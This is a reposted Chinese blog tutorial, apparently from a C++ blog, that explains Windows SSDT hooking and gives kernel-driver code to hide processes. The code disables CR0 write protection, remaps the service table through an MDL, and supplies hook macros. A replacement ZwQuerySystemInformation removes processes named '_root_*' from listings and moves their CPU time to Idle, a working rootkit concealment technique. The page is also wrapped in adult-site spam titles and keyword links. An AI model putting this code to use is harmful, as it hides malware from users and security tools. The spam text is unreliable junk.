青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

SSDT HIDE Process

Posted on 2009-10-25 11:37 S.l.e!ep.¢% 閱讀(421) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

SSDT HIDE Process 收藏
原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost


前言:
這只是一篇類似于教學性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實現方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過一個小程序實現ring0下SSDT HOOK來隱藏特定進程。大牛請飄過。

什么是SSDT?
SSDT(System Service Dispatch Table)系統服務描述符表,它用來查詢處理系統調用的特定函數。也就是說,這個表把ring3下UserMode的Win32 API同ring0下Kernel API相聯系。

SSDT HOOK 有什么用?
通過修改SSDT中的函數入口地址來HOOK SSDT中的函數,你可以過濾掉你所關心的特定結果,從而欺騙操作系統。比如,你可以隱藏特定的進程,隱藏文件,隱藏端口等等。


下面讓我們正式進入到SSDT?? HOOK的探索旅程中吧!
我首先會闡述一些關于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過內存的寫保護來修改SSDT,最后通過一個簡單的例子來介紹如何使用SSDT HOOK來隱藏進程。

SSDT的基本概念
SSDT通過索引系統調用號來查找在內存中的函數地址。而另一個被稱為SSPT(System Service Parameter Table)系統服務參數表,它則指定了每一個系統服務的函數參數的字節數。
KeServiceDescriptorTable是一個內核的導出表,這個表中包含一個指向部分SSDT的指針。而SSDT中則包含著內核的主要部分,Ntoskrnl.exe中的核心系統服務的實現。KeServiceDescriptorTable當然也包含一個指向SSPT的指針。
SSDT中包含著每一個內核導出函數的地址,每個地址是4字節長。SSPT中每個元素則是1字節長,而且用16進制來表示SSDT中指定函數的參數長度。在下圖中,在地址0x804AB3BF的函數,它的參數長度是0x18。

當調用一個指定的函數時,KiSystemService只是簡單的用目標函數的ID號乘以4,來得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務的數目,這個值可以用來找到SSDT或者SSPT中的最大偏移。
當調用INT 2E或者SYSENTER指令時,將會觸發系統服務。這將使得進程進入到Kernel Mode,也就是所說的ring0。應用程序能夠直接觸發system service dispatcher,KiSystemService,或者通過使用子系統來觸發。如果使用的是子系統的話(比如Win32),那么它將進入到 Ntdll.dll,然后把請求的系統函數索引號或者系統服務標志符裝入到EAX中,再把函數參數的地址裝入到EDX中。然后system service dispatcher將會核查參數,把它們從用戶棧復制到內核棧。它然后調用通過EAX中系統服務標志符來指定的SSDT中索引的函數。
一旦你的應用程序被作為一個驅動程序加載,它就能夠改變SSDT中指向的函數變為你自己的函數,而不是Ntoskrnl.exe 或者Win32k.sys中的函數。當一個非內核的程序進入到內核時,它的請求被system service dispatcher處理,并且你的程序的函數將被調用。基于這一點,你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個虛假的信息給應用程序。


改寫SSDT內存保護

Windows系統對部分內存起用了寫保護,來防止內存頁被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來防止任何應用程序來修改這個表。
寫保護操作給你的應用程序提出了一個挑戰,它使得你想HOOK某些系統調用來過濾返回信息變得困難起來。如果你試圖去對一個只讀的內存進行操作,那么你將會遇到BSoD,也就是經典的藍屏死機的問題。
有兩個方法可以繞過寫保護,一種是修改控制寄存器CR0中的寫保護位來繞過,另一種是利用Memory Descriptor List (MDL)來繞過寫保護。

先說第一種方法,第一種方法比較簡單,也就是只要把CR0中的WP(寫保護)位設置為0,就可以禁止內存保護。

// 取消內存保護
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? and?? eax, 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }
// 重新起用內存保護
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? or eax, NOT 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }

第二種方法是利用MDL,這個方法在Microsoft的文檔中講得很詳細了。
你可以在MDL中描述一段內存,包括內存段的起始位置,所擁有的進程,字節數,內存段的標志等等。

// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;

// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA???? 0x0001
#define MDL_PAGES_LOCKED????????? 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL???????????????? 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ????????? 0x0040
#define MDL_WRITE_OPERATION?????? 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD???????????? 0x0200
#define MDL_PHYSICAL_VIEW?????????? 0x0400
#define MDL_IO_SPACE???????????? 0x0800
#define MDL_NETWORK_HEADER?????? 0x1000
#define MDL_MAPPING_CAN_FAIL??????? 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000

為了改變內存的標志,下面的代碼首先聲明一個結構體,用來保存從Windows內核中導出的KeServiceDescriptorTable。當你調用 MmCreateMdl時,你需要知道KeServiceDescriptorTable的基址和它所擁有的函數入口的數量。這個函數定義了你想要MDL 描述的內存段的起始地址和大小。然后你的應用程序在內存的非頁池中創建MDL。
你的應用程序可以通過改變MDL的標志來使得你可以寫內存段,也就是把MDL flag設置為MDL_MAPPED_TO_SYSTEM_VA。然后調用MmMapLockedPages來鎖定內存中的MDL頁。
現在,你可以準備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內容相一致,但是,現在你可以修改它了。

// 聲明
#pragma pack(1)

typedef struct ServiceDescriptorEntry {
?????? unsigned int *ServiceTableBase;
?????? unsigned int *ServiceCounterTableBase;
?????? unsigned int NumberOfServices;
?????? unsigned char *ParamTableBase;
} SSDT_Entry;

#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL?? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

// 保存原始的系統調用地址,映射到我們的域中,來改變MDL的保護
g_pmdlSystemCall = MmCreateMdl(NULL,
?????????????? KeServiceDescriptorTable.ServiceTableBase,
?????????????? KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改變MDL的標志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
??????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

HOOKING SSDT

下面列出了幾個對HOOKING SSDT比較有用的宏。

#define SYSTEMSERVICE(_func) \
?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )??? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
?????? InterlockedExchange((PLONG)?????????? \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

SYSTEMSERVICE宏的參數(姑且稱為參數吧)是ntoskrnl.exe導出的函數地址,是一個Zw* 型的函數,返回一個在SSDT表中Nt*型的函數地址。
SYSCALL_INDEX宏的參數是Zw*型的函數的地址,返回一個在SSDT中相一致的索引號。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數地址同_Hook函數地址在SSDT中自動交換。
這幾個宏將會在下面的例子中非常有用。

例子:使用SSDT HOOK來隱藏進程

?? Windows操作系統使用ZwQuerySystemInformation函數來查詢許多不同的操作系統信息。比如,任務管理器 Taskmgr.exe,就是使用這個函數來獲得系統的進程列表。返回的信息則是依靠SystemInformationClass來決定的。比如,在這個例子中,我們想要獲得系統的進程信息,我們需要把SystemInformationClass設置為5。更多詳細的信息,請參閱Microsoft Windows DDK。
一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調用原始的系統調用,并且過濾掉敏感信息。
在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結構體和與其相對應的_SYSTEM_THREADS結構體。在 _SYSTEM_PROCESSES中,進程名是UNICODE_STRING的。兩個LARGE_INTEGER則是進程的user和kernel的時間。當你的程序隱藏一個進程的時候,你的程序應該把這個進程的執行開銷所花費的時間加到列表中的其它進程中,以保證CPU的總的時間是100%。
下面的是ZwQuerySystemInformation所返回的進程和線程的結構體。


struct _SYSTEM_THREADS
{
?????? LARGE_INTEGER?????????? KernelTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? CreateTime;
?????? ULONG??????????????? WaitTime;
?????? PVOID??????????????? StartAddress;
?????? CLIENT_ID???????????? ClientIs;
?????? KPRIORITY???????????? Priority;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ContextSwitchCount;
?????? ULONG??????????????? ThreadState;
?????? KWAIT_REASON????????? WaitReason;
};

struct _SYSTEM_PROCESSES
{
?????? ULONG??????????????? NextEntryDelta;
?????? ULONG??????????????? ThreadCount;
?????? ULONG??????????????? Reserved[6];
?????? LARGE_INTEGER?????????? CreateTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? KernelTime;
?????? UNICODE_STRING?????? ProcessName;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ProcessId;
?????? ULONG??????????????? InheritedFromProcessId;
?????? ULONG??????????????? HandleCount;
?????? ULONG??????????????? Reserved2[2];
?????? VM_COUNTERS????????? VmCounters;
?????? IO_COUNTERS????????? IoCounters;??????? //windows 2000 only
?????? struct _SYSTEM_THREADS?? Threads[1];
};


下面的NewZwQuerySystemInformation將會過濾掉所有以“"_root_”打頭的進程名,并且把它們的運行開銷加到Idle的進程中,也就是加到系統空閑進程中。


///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函數
// ZwQuerySystemInformation() 返回一個進程的鏈表
// 下面的函數將會去掉所有以“_root_”打頭的進程
NTSTATUS NewZwQuerySystemInformation(
???????? IN ULONG SystemInformationClass,
???????? IN PVOID SystemInformation,
???????? IN ULONG SystemInformationLength,
???????? OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
??????????????????????????????????????? (SystemInformationClass,
??????????????????????????????????????? SystemInformation,
??????????????????????????????????????? SystemInformationLength,
??????????????????????????????????????? ReturnLength);
if( NT_SUCCESS(ntStatus))
{
?? if(SystemInformationClass == 5)
?? {
?????? // 查詢進程的鏈表,并且去掉以“_root_”打頭的進程
????? struct _SYSTEM_PROCESSES *curr =
??????????? (struct _SYSTEM_PROCESSES *) SystemInformation;
?????? struct _SYSTEM_PROCESSES *prev = NULL;
?????? while(curr)
?????? {
????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
???????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
???????? {
??????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
??????????? m_KernelTime.QuadPart +=
???????????????????????????????? curr->KernelTime.QuadPart;
??????????? if(prev)??? // 鏈表的第二個節點到最后一個節點的處理
??????????? {
?????????????? if(curr->NextEntryDelta)
????????????????? prev->NextEntryDelta +=
??????????????????????????????????????? curr->NextEntryDelta;
?????????????? else??? // 最后一個節點
????????????????? prev->NextEntryDelta = 0;
??????????? }
??????????? else
??????????? {
?????????????? if(curr->NextEntryDelta)
?????????????? {
????????????????? // 鏈表的第一個節點,向后移動指針
????????????????? (char*)SystemInformation +=
??????????????????????????????????? curr->NextEntryDelta;
?????????????? }
?????????????? else?????? // 只有一個節點
????????????????? SystemInformation = NULL;
??????????? }
???????? }
????? }
????? else???????????? // Idle進程的入口
????? {
???????? // 把 _root_*進程開銷加到Idle的進程中去
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
???????? // 為我們下次過濾的時候重置
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
????????? if(curr->NextEntryDelta)((char*)curr+=
???????????????????????????????????? curr->NextEntryDelta);
???????? else curr = NULL;
?? }
?? }
??? else if (SystemInformationClass == 8)
??? {
????? // 查詢系統進程開銷
????? struct _SYSTEM_PROCESSOR_TIMES * times =
????????? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
????? times->IdleTime.QuadPart += m_UserTime.QuadPart +
??????????????????????????????????? m_KernelTime.QuadPart;
?? }
}
return ntStatus;
}


注:以上代碼來源于www.rootkit.com,完整代碼下載地址為:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

現在你的程序可以把進程中所有以“_root_”打頭的進程都隱藏起來了,當然你可以更改隱藏的進程名。
通過上述的例子,你可以明白HOOK的好處了吧,當然在SSDT中還有許多值得我們HOOK的函數,展開你的想象吧,沒有做不到,只有想不到!

?

本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/lionzl/archive/2009/08/27/4489268.aspx

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美精品午夜视频| 激情五月综合色婷婷一区二区| 亚洲青色在线| 亚洲一区二区三区精品视频| 浪潮色综合久久天堂| 亚洲天堂成人| 欧美国产亚洲精品久久久8v| 悠悠资源网久久精品| 久久精品女人天堂| 亚洲午夜视频| 国产精品久久久久久av福利软件 | 亚洲综合日本| 亚洲第一视频| 亚洲在线不卡| 国产精品亚洲综合一区在线观看| 中文有码久久| 一区二区三区|亚洲午夜| 欧美另类在线观看| 亚洲美女毛片| 亚洲剧情一区二区| 欧美三级电影精品| 亚洲欧美日韩综合国产aⅴ| 亚洲视频在线二区| 国产欧美精品日韩| 久久婷婷av| 久久综合国产精品台湾中文娱乐网| 黄色小说综合网站| 欧美福利小视频| 欧美国产乱视频| 亚洲午夜未删减在线观看| 亚洲一区二区三区免费观看| 国产伦精品一区二区三区免费| 久久久精品国产免费观看同学| 欧美在线免费观看视频| 在线观看欧美亚洲| 亚洲精品乱码久久久久久日本蜜臀 | 亚洲永久精品大片| 亚洲综合导航| 韩国一区二区三区美女美女秀| 免费成人你懂的| 欧美激情亚洲另类| 性色一区二区三区| 久久五月天婷婷| 中文精品在线| 久久九九热免费视频| 99国产精品久久久| 午夜精品视频在线观看| 最新亚洲一区| 亚洲免费中文字幕| 亚洲国产精品视频| 亚洲网址在线| 亚洲激情自拍| 午夜精品久久久久久久久| 亚洲欧洲日韩在线| 亚洲欧美精品在线| 亚洲精品乱码久久久久久蜜桃91| 亚洲在线视频免费观看| 亚洲经典三级| 欧美一区二区三区在线观看 | 免费成人av| 欧美揉bbbbb揉bbbbb| 美女国内精品自产拍在线播放| 欧美日韩国产综合视频在线观看 | 免费91麻豆精品国产自产在线观看| 亚洲精品一区二区网址| 亚洲男人的天堂在线| 亚洲日本欧美| 久久黄色级2电影| 亚洲图片欧美午夜| 欧美激情a∨在线视频播放| 欧美一区二区三区四区在线观看地址 | 亚洲第一黄色| 国产日韩免费| 一区二区三区欧美亚洲| 亚洲人成在线观看一区二区| 久久精品中文| 久久国产精品99国产| 欧美午夜精品伦理| 亚洲精品美女在线| 亚洲毛片在线观看| 美女啪啪无遮挡免费久久网站| 先锋影音国产一区| 欧美天天视频| 亚洲精品视频一区| 亚洲免费播放| 欧美国产精品va在线观看| 欧美激情一区二区三区成人| 影音先锋中文字幕一区二区| 欧美在线黄色| 美女露胸一区二区三区| 国产亚洲欧美日韩美女| 亚洲网站在线观看| 先锋影音久久| 国产欧美精品国产国产专区| 午夜精品影院在线观看| 欧美一区二区三区免费视| 国产精品亚洲综合天堂夜夜| 亚洲欧美韩国| 久久一区二区三区av| 国产亚洲一区二区在线观看| 欧美一区=区| 久久天天狠狠| 最新亚洲视频| 欧美日韩一区三区| 亚洲午夜电影| 久久精品国产99精品国产亚洲性色| 国产欧美日韩综合一区在线播放 | 亚洲第一区中文99精品| 日韩亚洲欧美中文三级| 欧美日韩精品综合| 亚洲图片你懂的| 久久国产一区二区三区| 一色屋精品视频免费看| 欧美成人综合一区| 99成人免费视频| 亚洲免费一在线| 国产在线精品成人一区二区三区| 久久久久久**毛片大全| 亚洲国产高潮在线观看| 一本色道久久88亚洲综合88| 亚洲韩国青草视频| 亚洲日韩欧美视频一区| 一区二区三区高清不卡| 欧美激情综合网| 这里只有视频精品| 久久久久国内| 亚洲日本在线观看| 欧美日韩视频| 午夜视频在线观看一区| 欧美成人中文字幕在线| 一道本一区二区| 国产美女在线精品免费观看| 久久精品一二三区| 亚洲激情午夜| 欧美一区二区精品久久911| 伊人色综合久久天天| 欧美精品一区二区三区蜜臀| 亚洲欧美日韩精品| 91久久精品一区| 久久国产福利国产秒拍| av成人免费在线观看| 国产一区二区三区观看| 欧美精品激情在线| 午夜日韩视频| 亚洲美女在线观看| 久久人人爽爽爽人久久久| 在线亚洲免费视频| 在线观看欧美一区| 日韩天天综合| 美女主播一区| 午夜精品在线看| 亚洲人成在线免费观看| 国产欧美日韩在线播放| 欧美视频中文字幕在线| 免费成人你懂的| 性欧美办公室18xxxxhd| 一区二区三区高清| 亚洲欧洲中文日韩久久av乱码| 久久久久国产免费免费| 新狼窝色av性久久久久久| 日韩亚洲一区二区| 亚洲人成绝费网站色www| 国产一级久久| 国产精品美女久久久久av超清| 欧美激情一区二区三区在线视频观看 | 久久国产高清| 亚洲视频免费看| 亚洲精品美女久久久久| 亚洲国产精品成人va在线观看| 久久全球大尺度高清视频| 亚洲欧美影院| 亚洲在线播放电影| 亚洲天堂网在线观看| 亚洲毛片在线看| 日韩亚洲欧美成人| 日韩写真视频在线观看| 日韩一区二区精品| 99国产精品久久久久久久| 亚洲人成啪啪网站| 亚洲精品午夜| 一本一本a久久| 国产精品久久99| 国产精品高潮久久| 欧美视频专区一二在线观看| 欧美婷婷六月丁香综合色| 欧美日韩国产综合在线| 欧美日韩在线播| 国产精品你懂得| 国产日韩在线视频| 韩日欧美一区二区| 国产麻豆精品视频| 久久成年人视频| 久久婷婷久久| 亚洲全部视频| 在线一区二区日韩| 欧美一区激情视频在线观看| 国产一区二区三区观看| 欧美成年人视频网站欧美| 一区二区三区 在线观看视| 欧美高清视频免费观看|